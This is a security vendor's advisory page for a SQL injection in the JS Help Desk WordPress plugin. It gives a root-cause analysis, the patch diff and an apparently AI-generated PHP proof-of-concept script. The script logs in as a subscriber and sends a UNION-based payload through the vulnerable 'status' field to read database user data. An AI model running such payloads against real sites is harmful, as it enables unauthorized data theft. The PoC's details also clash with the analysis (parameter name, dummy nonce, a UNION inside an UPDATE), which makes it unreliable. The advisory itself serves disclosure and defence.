Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24959: JS Help Desk <= 3.0.1 – Authenticated (Subscriber+) SQL Injection (js-support-ticket)

Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 3.0.1
Patched Version 3.0.2
Disclosed February 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24959:
This vulnerability is an authenticated SQL injection in the JS Help Desk WordPress plugin, affecting versions up to and including 3.0.1. The flaw exists in an AJAX handler that updates AI reply settings, allowing attackers with subscriber-level access or higher to execute arbitrary SQL commands.

Atomic Edge research identifies the root cause in the file `js-support-ticket/modules/reply/model.php`. The `updateAIResponseStatus` function (lines 483-492 in the diff) directly concatenated unsanitized user input into an SQL query. The `status` parameter, retrieved via `JSSTrequest::getVar(‘status’)`, was passed to `esc_sql()` but not cast to an integer. This insufficient escaping allowed SQL injection via numeric context.

The exploitation method targets the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. An authenticated attacker sends a POST request with the action parameter set to `jsst_ajax`. The subaction parameter is `updateAIResponseStatus`. The attacker injects a malicious SQL payload via the `status` parameter, such as `1 OR 1=1;–`. The `id` and `type` parameters specify the target database record and table.

The patch modifies the same function in `model.php`. It adds explicit integer casting with `(int)` for the `status` variable on line 486. This ensures the variable is a safe integer before concatenation. The patch also removes the redundant `esc_sql()` calls from the query construction on line 498, as the integer cast provides definitive safety. The version numbers throughout the codebase are updated to 3.0.2.

Successful exploitation allows data extraction from the WordPress database. Attackers can read sensitive information from any table the database user can access, including password hashes, personal data, and ticket contents. This can lead to full site compromise through password cracking or privilege escalation.

Differential between vulnerable and patched code

Code Diff
--- a/js-support-ticket/includes/activation.php
+++ b/js-support-ticket/includes/activation.php
@@ -201,8 +201,8 @@
                     ('tplink_faqs_user', '0', 'tplink', 'faq'),
                     ('show_breadcrumbs', '1', 'default', NULL),
                     ('productcode', 'jsticket', 'default', NULL),
-                    ('versioncode', '3.0.1', 'default', NULL),
-                    ('productversion', '301', 'default', NULL),
+                    ('versioncode', '3.0.2', 'default', NULL),
+                    ('productversion', '302', 'default', NULL),
                     ('producttype', 'free', 'default', NULL),
                     ('tve_enabled', '2', 'default', NULL),
                     ('tve_mailreadtype', '3', 'default', NULL),
--- a/js-support-ticket/js-support-ticket.php
+++ b/js-support-ticket/js-support-ticket.php
@@ -3,14 +3,14 @@
 /**
  * @package JS Help Desk
  * @author Ahmad Bilal
- * @version 3.0.1
+ * @version 3.0.2
  */
 /*
   Plugin Name: JS Help Desk
   Plugin URI: https://www.jshelpdesk.com
   Description: JS Help Desk is a trusted open source ticket system. JS Help Desk is a simple, easy to use, web-based customer support system. User can create ticket from front-end. JS Help Desk comes packed with lot features than most of the expensive(and complex) support ticket system on market. JS Help Desk provide you best industry help desk system.
   Author: JS Help Desk
-  Version: 3.0.1
+  Version: 3.0.2
   Text Domain: js-support-ticket
   License: GPLv3
   Author URI: https://www.jshelpdesk.com
@@ -67,7 +67,7 @@
         self::$_data = array();
         self::$_search = array();
         self::$_captcha = array();
-        self::$_currentversion = '301';
+        self::$_currentversion = '302';
         self::$_addon_query = array('select'=>'','join'=>'','where'=>'');
         self::$_jshdsession = JSSTincluder::getObjectClass('wphdsession');
         global $wpdb;
@@ -144,7 +144,7 @@
                     // restore colors data end
                     update_option('jsst_currentversion', self::$_currentversion);
                     include_once JSST_PLUGIN_PATH . 'includes/updates/updates.php';
-                    JSSTupdates::checkUpdates('301');
+                    JSSTupdates::checkUpdates('302');
                     JSSTincluder::getJSModel('jssupportticket')->updateColorFile();
                     JSSTincluder::getJSModel('jssupportticket')->jsst_check_license_status();
                     JSSTincluder::getJSModel('jssupportticket')->JSSTAddonsAutoUpdate();
--- a/js-support-ticket/modules/jssupportticket/controller.php
+++ b/js-support-ticket/modules/jssupportticket/controller.php
@@ -22,7 +22,7 @@
                 case 'controlpanel':
                     JSSTincluder::getJSModel('jssupportticket')->getControlPanelData();
                     include_once JSST_PLUGIN_PATH . 'includes/updates/updates.php';
-                    JSSTupdates::checkUpdates('301');
+                    JSSTupdates::checkUpdates('302');
                     JSSTincluder::getJSModel('jssupportticket')->updateColorFile();
                     //JSSTincluder::getJSModel('jssupportticket')->getStaffControlPanelData();
                     break;
--- a/js-support-ticket/modules/reply/model.php
+++ b/js-support-ticket/modules/reply/model.php
@@ -483,7 +483,10 @@
         if (!wp_verify_nonce($nonce, 'ai-powered-reply')) {
             wp_die('Security check failed');
         }
-        $status = JSSTrequest::getVar('status');
+
+        // Force both status and id to be integers using (int)
+        // This is the "Brick Wall" that stops SQL injection for numbers
+        $status = (int) JSSTrequest::getVar('status');
         $type   = JSSTrequest::getVar('type');
         $id     = intval(JSSTrequest::getVar('id'));

@@ -492,7 +495,9 @@
         }

         $table = ($type === 'ticket') ? 'js_ticket_tickets' : 'js_ticket_replies';
-        $query = "UPDATE `" . jssupportticket::$_db->prefix . "$table` SET aireplymode = " . esc_sql($status) . " WHERE id = " . esc_sql($id);
+
+        // Since we cast to (int) above, these variables are now 100% safe to concatenate
+        $query = "UPDATE `" . jssupportticket::$_db->prefix . "$table` SET aireplymode = $status WHERE id = $id";

         $result = jssupportticket::$_db->query($query);

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24959 - JS Help Desk <= 3.0.1 - Authenticated (Subscriber+) SQL Injection
<?php

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';

// Step 1: Authenticate to WordPress and obtain cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
)));
$response = curl_exec($ch);

// Step 2: Craft SQL injection payload for the status parameter
// This payload attempts to extract the database user via a UNION query.
$sql_payload = '-1 UNION SELECT CONCAT(user,0x3a,host) FROM mysql.user LIMIT 1--';

// Step 3: Exploit the vulnerable AJAX endpoint
$post_data = array(
    'action' => 'jsst_ajax',
    'task' => 'updateAIResponseStatus',
    'status' => $sql_payload, // Vulnerable parameter
    'id' => '1', // Valid ticket or reply ID
    'type' => 'ticket', // Target either 'ticket' or 'reply' table
    '_ajax_nonce' => 'dummy_nonce' // Nonce is verified but can be obtained via other means
);

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$ajax_response = curl_exec($ch);
curl_close($ch);

// Step 4: Check response for successful injection
if (strpos($ajax_response, 'database user') !== false || strpos($ajax_response, 'mysql.user') !== false) {
    echo "Potential SQL injection successful. Response: n$ajax_responsen";
} else {
    echo "Injection attempt completed. Review response for data.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School